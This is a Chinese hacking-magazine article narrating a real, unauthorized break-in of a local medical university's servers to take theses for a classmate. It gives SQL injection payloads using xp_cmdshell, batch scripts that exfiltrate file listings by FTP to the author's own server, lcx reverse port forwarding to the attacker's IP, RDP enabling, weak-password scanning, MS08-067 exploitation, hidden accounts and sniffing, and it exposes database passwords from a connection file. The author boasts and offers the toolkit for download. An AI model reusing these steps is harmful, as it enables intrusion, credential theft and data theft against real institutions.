原来正被给51cto的,后面因为稿费问题,给***手册杂志了。本文已经在黑手200903期发表。

一篇论文引发的***——记对当地医科大的***检测
安天365团队
记得很久没去高中群里冒泡了,估计好多同学都忘了俺了,可是没闪两句就收到一个很久没联系过的同学发来的信息,看了下原来是班里的一个PLMM发的。于是就聊了起来,聊来聊去料到了论文上,她说她现在在写医学论文,而且写的很辛苦,可是俺也没办法帮忙啊,俺又不懂医学的东东。不过俺这人见不得MM不开心所以就找一个在当地医科大上学的朋友,看看他能帮上忙不?可是他说他也不会写,不过他说他们医科大网站服务器上就有论文。不过好像只能上传不能下载的。最后给了我一个FTP地址然后就跑没影了。
一、战前踩点
1.测试ftp服务器
打开FTP地址一看还真有不少的论文,不过复制的时候出错了,如图1所示,应该是管理员大叔给设定权限了,只能写入不能读取。难道这样就能阻挡我拿到论文的目的吗?软的不行只能来硬的了。

图1 Ftp服务器只能上传不能下载
2.获取端口开放情况
用sfind扫了下该ip地址的端口,发现只开了21和80两个端口。从结果看应该是让防火墙或者ipsec策略给堵住了,如图2所示。既然开了80那就先从网站开刀了。大学的网站的脆弱性我就不多说了,大家有目共睹的。

                                                图2. sfind 扫描结果
3.使用wwwscan扫描目录
用wwwscan扫了一下(把冰的原点给的字典也加上了),不过这个工具扫描的也不是很准确,好多存在的目录也扫描不出来,扫了半天也没扫出点能够利用的东西。扫描结果如图3所示,基本没有什么用。

                                                图3. wwwscan扫描报告
4.扫描SQL注入点
接下来看看有没有注入点,于是用啊D扫描了下网站的注入点,运气不好,没有直接扫到,看来出师不利啊。不过俺还有办法,就是用google hacking了,用google来搜索注入点,不过直接用google是不行的,会被google封ip的,这里我给大家介绍一个小工具,就是SimpleGoogle,用它把关于目标网站的URL全部扫描出来,然后再用domain批量扫描注入点的功能把用SimpleGoogle扫描出来的注入点全部给分析一遍,这样得到的结果会很全,也不怕被封ip。你也可以去百度,不过百度收藏的URL肯定不如google的多。
SimpleGoogle扫描结果如图4所示。然后把保存的URL用word整理一下(因为用SimpleGoogle保存的URL之间都会多出一个回车符的需要用word替换掉,用word替换的功能把^p^p替换成^p就ok了,以前黑手也讲过的,还不会的去百度吧),最后保存为TXT文档。

                                                图4. google hack 技巧
5.获取注入点
用domain导入刚才整理好的文本文档开始扫描,结果相当可观,如图5所示。皇天不负有心人最后终于让我找到一个SA权限的注入点,呵呵,既然是SA权限了应该可以搞定了。

                                                        图5.DOMAIN 批量扫描注入点
二、实战提权和***
1.NBSI执行命令失败
SA权限的注入点我一般会用NBSI来执行命令,不过结果很令人郁闷,执行命令却没有回显,在URL后面加了个单引号,返回结果如图6所示,没有看到预想的结果,看来给屏蔽错误回显了。

                                        图6. 屏蔽错误回显
在浏览器里浏览“[url]http://xxx.edu.cn/index/webinfo/browse.asp?doc_id=1246[/url] and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')”返回了正常页面,说明存在xp_cmdshell这个危险的扩展存储,还不错,看来还不是特别变态。
本来想加个用户然后登陆3389的,可是一想不可能实现的,因为图2只扫描到了两个端口,3389肯定不会让我们连接的。如果想连接3389的话就只能用端口映射这个办法了。
那要怎么办呢,也许有的朋友要说了,直接把***传到网站上运行一下不就行了吗。可是现在我们是不知道该网站是不是web和数据库分离的,如果这样的话我们上传只能上传到数据库服务器上对web服务器是没有影响的。还有最关键的一点就是俺没有免杀的大马。以前没有现在还是没有(大牛们不要鄙视小菜们啊,要有共享的精神,送小弟一只免杀***啊)。
对于这种环境的网站我一般会先分析下网站是不是数据库分离的,然后再向网站根目录上传网页***。其实这两个工作可以放到一起干,就是直接用啊D列目录。为啥要用啊D列目录呢,因为在网站屏蔽了错误提示的时候,当然返回不了错误信息,而NBSI,DOMAIN也全没辙了,这时候啊D就会利用了折半分析的方法来猜解目录,原理不多说了,大家可以用“WSockExpert”这个经典工具抓包分析的,如果你要想成为一个注入高手,分析牛人的东西是一个必须的过程。图7是我抓到的啊D的猜解目录的语句,相当的经典。

图7.抓包分析啊D注入原理
2.SA权限查找网站根目录新方法
不过用折半分析法猜解目录速度慢的可怜,我检测的时候啊D就被卡死过好几次。最后终于在E盘发现了点有用的东西,貌似这个盘存放着web目录,可是接下来我就发现了困难重重了,因为宿舍网速超慢的问题(五个人占用一个网线),这个盘底下的东西一直没有猜解完全就卡住不动了。那我们如何来找到网站的根目录呢?小菜我想了很久,最后终于想出一个弱智但是很好用的方法。就是用DOS的DIR这个命令。我想就连菜鸟对它也会很熟悉的。不废话了,我把我写好的批处理代码给大家:
@echo off
for %%i in (c d e f g h ) do (
fsutil fsinfo drivetype %%i:|findstr "固定驱动器">nul &&  dir /s /b %%i:index.asp>>result.txt)
echo open [url]www.neverfox.com[/url] >ftp.txt
echo 1>>ftp.txt
echo 1>>ftp.txt
echo binary>>ftp.txt
echo put result.txt >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt
del ftp.txt
del result.txt
这个批处理的功能就是依次列举(c d e f g h)这个盘符下面的所有index.asp这个文件,然后把index.asp的完整路径保存在result.txt这个文件里,然后用FTP的方式把result.txt传到我自己网站的根目录下。这样我们访问我网站上的result.txt就能知道目标网站的根目录信息了。
其实我们还有一种更霸道的方法就是讲DIR出来包含index.asp的文件夹下面全部插入一句话***,这样我们只要用一句话客户端访问index.asp同目录下的一句话后门文件这样肯定就能成功的拿到网站的webshell。这样做什么就都简单了。不过这种“盲插”的办法太过霸道,可能会生成很多的垃圾文件,不推荐大家使用,这两个批处理文件我都会打包给大家。
这两个批处理在本机测试通过。高兴的不行,赶紧把这个批处理用AD的上传功能上传上去这里我传到了“c:\windows\temp\1.bat”。如图8所示。

图8.写入批处理脚本
然后再在浏览器里访问[url]http://www.target/browse.asp?doc_id=1244[/url];exec master..xp_cmdshell'start%20C:\windows\temp\1.bat'--漫长的等待之后访问[url]http://www.neverfox.com/result.txt[/url]还是没有结果,而且到最后出现了一个如图6错误界面.
当时心就灰了。难道这个办法行不通吗?想了想应该是批处理的问题,这个批处理太耗费资源了(需要遍历这么多盘符),弄不好服务器没准还得搞挂了。用阿D列目录也不是办法啊。那就换种方法。把上面的批处理换成下面的试试:
dir /s /b c:index.asp> result.txt
echo open [url]www.neverfox.com[/url] >ftp.txt
echo 1>>ftp.txt
echo 1>>ftp.txt
echo binary>>ftp.txt
echo put result.txt >>ftp.txt
echo bye >>ftp.txt
ftp -s:ftp.txt
del ftp.txt
del result.txt
注:此批处理列举C盘下的所有index.asp文件,也可以换成index.html等等,视具体情况而定。
上传上去之后再次执行[url]http://www.target/browse.asp?doc_id=1244[/url];exec master..xp_cmdshell'start%20C:\windows\temp\1.bat'--这样就可以遍历C盘了,结果访问我网站上的result.txt空白的,然后把c:index.asp改成的d: index.asp,再次上传,再次执行。N次之后终于在E盘上发现了突破。如图9所示。网站目录原来在这里,害我费了这么老大劲。不过还是很有成就感的。

图9.得到网站web绝对路径
3.获取Webshell
既然得到网站根目录了,三下两下就依次把一句话和大马传了上去。如图10所示,一翻查找之后终于找到了我想要的论文,也成功的下载了几篇,想着能为MM做点事也高兴地不行。不过webshell一个一个的下载太麻烦了,如果能一次全下载下来就更完美了(各位莫笑,本人异常的懒)。想法有了还需要实际行动,这时候我想到了登陆它的3389,不过这里又遇到了阻碍,不知道大家看到图2了没有,只开放了21和80端口,3389就是开了我们也没办法访问,对于这个情况只有一种办法了,就是最常用的端口转发了。

                                                                        图10. 拿到webshell
4.使用lcx端口转发程序映射3389端口
在webshell上执行“netstat –an”开的端口很多不过没有发现3389这个端口“执行“net start”也没找到Terminal Services这个服务。看来还得先开3389再说了。
由于权限的问题webshell是没办法执行命令的,所以这里我们需要一个工具SqlRootkit,因为我们刚才的那个注入点是SA权限的,而且XP_CMDSHELL这个扩展存储是存在的,通过注入点很快就找到了conn.asp这个数据库连接文件。找到了getDBLink这个函数
function getDBLink(){
strDBLink="rovider=SQLOLEDB.1;Initial Catalog=medicine;Data Source=(local);User Id=saASSWORD=9853**";
‘ strDBLink="rovider=SQLOLEDB.1;Initial Catalog=medicine;Data Source=(local);User Id=xwyjsASSWORD=snow2he";
‘ strDBLink="rovider=SQLOLEDB.1;Initial Catalog=medicine;Data Source=***.**.179.1;User Id=saASSWORD=770922 ";
明眼人一看就晓得了,果然是SA这个帐户建立的连接,同时也看到了下面两个数据库帐户而且第三一个数据库连接字串的IP貌似是网关的IP。看来这次收获不小。一会再看它。
把SqlRootkit传上去,填上SA和SA的密码很顺利地登陆了进去,我们先来开3389,把2003下开3389的注册表文件传上去,然后用XP_CMDSHELL这个扩展存储执行“reg import E:\www\medicine0604\sec_college\3389.reg”,结果成功执行命令。再次执行“netstat –an”发现3390这个端口被打开了(开3389的注册表默认的端口是3389这里我给改成3390了),说明成功的开启了3389。
接下来就该端口映射了,先用LCX在本地监听110端口,命令为“lcx –listen 110 1987”,如图11所示,然后把yizhigu大哥给我的免杀的LCX传上去,结果还好没被卡巴杀掉(服务器用的是卡巴6.0的很老的一个版本了),然后继续用SqlRootkit执行“E:\www\medicine0604\sec_college\lcx.exe -slave ***.***.186.149 110 127.0.0.1 3390”,其中“***.***.186.149”是我自己的IP地址,过一会就看到本地LCX监听到了目标服务器传送来的连接请求。OK,反弹成功
                                                                图11.本地LCX监听
5.成功进入远程终端桌面
接下来就简单了,用远程终端连接“127.0.0.1:1987”,如图12所示。

                图12.3389登陆成功
6.打包并下载论文
这样找到论文所在的目录就成功的打包了回来,图13是论文所在目录。然后全都送给俺高中的MM同学,MM自然是开心的不行,至少有论文可以来参考,对俺也是另眼相看(我可没说我是***拿到的,只说是跟好朋友找的o(∩_∩)o…)。

                图13论文所在目录
四、同网段***
1.上次******工具包
MM的忙算是帮完了,不过俺心里还有点空缺没给补上,就是***.**.179.1这个IP的SA密码一直勾引着我,俗话说不想当将军的士兵不是好士兵,那么没有***网络欲望的***不是好***。接下来的一段时间我就对医科大学的整个网段发起了挑战。
首先把内网***需要的工具全都用FTP上传上去(对于文件的上传我一般会用FTP上传的,先在本地假设ftp服务器,然后在登陆的3389服务器上边访问我的ftp就可以实现数据通信了)。图14是我常用的******工具包,我会给大家打包,大家可以到[url]www.antian365.com[/url] 或者[url]www.neverfox.com[/url]去下载。

图14.***工具套装
赶忙火急火燎得用得到的密码连接***.**.179.1的数据库,可是没连接成功,看了下图15中sfind扫描的结果也没找到这台机子,看来没戏了。
2.扫描内网开放445端口计算机
通过上面想到对于同网段***我们首先要理清思路,如何才能在最短的时间内获得最大的权限得到最多的服务器数量关系到我们***的成功与否。首先先扫描一下同网段存活的主机吧,用sfind这个小工具就能完成,我们直接用它来扫描1-255这个ip段的445端口。如图15所示。

图15. 同网段存活主机
注:这个工作必须得在得到的肉鸡上进行,原因是它们是在同一个路由下的,所以我们才能扫到445端口,别的ip段的主机扫描的话是不能扫出来的。
3.使用hscan扫描内网弱口令
把扫描结果整理一下,然后导入到hscan里然后就一通狂扫。
注:小菜们在扫描之前要做好充足的准备,最重要的就是要有一个好的字典,再有就是看你社工的水平了,如何能够掌握到同网段服务器集群的更多的密码信息是个值得研究的话题。我们可以浏览下你拿到权限的数据库的存有帐户和密码的表段,然后一起导出来,也可以用findpass找出系统缓存中的密码,或者用pwdump抓出密码然后用Ophcrack加彩虹表暴力破解出密码来,把这些信息一起添加到HSCAN的字典里,作为一个临时的字典。方法很多,大家需要自己总结。
运气还不错,扫到了几个SA弱口令,还有一个ipc$的弱口令(这么古老的漏洞都有,估计是2000的系统),还有几个无关紧要的ftp匿名登陆账号。扫描结果如图16所示。其中有一台***.***.48.28的机子的SA的口令也是123456的不知道为啥用HSCAN没扫到。

                图16.HSCAN扫描结果
4.使用SQLTOOLS提升权限
既然有SA的弱口令了,那咱也别客气了,用SQLTOOL连上去,发现都是2k的操作系统,把“开win2000终端.exe”这个工具改名成3389.exe上传上去直接在直接用SQLTOOL执行“3389.exe 0”,然后服务器重启之后3389就能登陆了,加用户开3389就OK了,关于如何开3389俺就不赘述了,这样我很轻松的就得到了***.***.48.12和***.***.48.28这两台服务器的终端权限。
注:工具包里的“开2003.reg”是用来开win2003服务器的,“开win2000终端.exe”则是用来开启win2000服务器的。
大家应该记得我还扫到了一个ipc$的主机,那它就交给recton解决了,想当初俺用它可是横行网吧的o(∩_∩)o…。
用它给服务器开telnet,然后再“telnet ***.***.48.194”就得到了一个system权限的shell,这里要注意了,首先要用recton加个用户,而且这个用户的密码和账号必须和登陆的那个研究生院网站的一样才能绕过NTLM验证。如图17所示。

                图17 开telnet然后telnet连接
发现这台服务器果真是2k的操作系统。用同样的方法给服务器开3389。这台服务器也让我很轻松的拿下了。
5.使用MS08067漏洞利用工具大发神威
已经得到了4台服务器的终端权限了,不过俺还不死心,不是最近的MS08067很火吗?这样的学校集群的服务器补丁打得肯定不那么勤快。然后用MS08067按次溢出扫描出来的开了445端口的服务器。
结果大部分的服务器都打了补丁了,可是还是有一台服务器没打补丁,让俺给溢出成功了(由于种种原因图没有保存下来,请读者们包涵)。这次的是台2003服务器,用“开2003.reg”给它开3389,然后成功登陆,记得当时登陆这台肉鸡的时候发现的一幕很搞笑,管理员大叔还在装系统,我进去的时候系统差不多快装完了,剩最后一部分了(当时没有截图,大家勿怪)。当时心想真是侥幸啊,如果管理员大叔把服务器装完,补丁也打好俺就没那么幸运了。嘿嘿,加了个隐藏帐户,然后帮管理员忙把补丁也给打上了。
现在已经搞到五台肉鸡了,接下看到服务器上都没装防火墙,杀毒软件还是6.0版本的卡巴斯基,一冲动就把cain上传上去了,做好相关的设置就开始嗅主站了,可是没嗅一会主站没挂研究生院的服务器却给挂了,我晕~~~~~~当时心里这个害怕啊,脚印俺还没擦呢,警察叔叔还不请我去喝茶啊。忐忑了半天,等到晚上的时候研究生院的服务器终于又可以访问了。赶紧访问了下webshell还好都还在,赶紧登陆肉鸡把cain给停了,大家以后不到万不得已千万可别玩嗅探。我也就没再继续搞,***就到这里了,发个图留个纪念,如图18所示。

图18***下的服务器
四、***总结
    文章没啥技术含量,都是前辈们用烂了的东西。不过能在实战中总结点东西是最重要的了,这里我给各大学校的管理员大叔提点建议,就是研究生院固然重要,可是也别每个都给他们个SA连接账号啊,这样别的院的BBMM们该吃醋了。还有就是服务器的数据库千万别给SA设置123456类似的弱口令,一定要设置一个超级变态的才好,还有就是补丁一定要即时的打。***一台服务器不容易,可是保证一台服务器绝对的安全就更不容易了,呵呵,如有任何疑问,请到安天论坛([url]www.antian365.com/bbs[/url])跟我联系和探讨,我的ID是孤水绕城。
收藏 分享 评分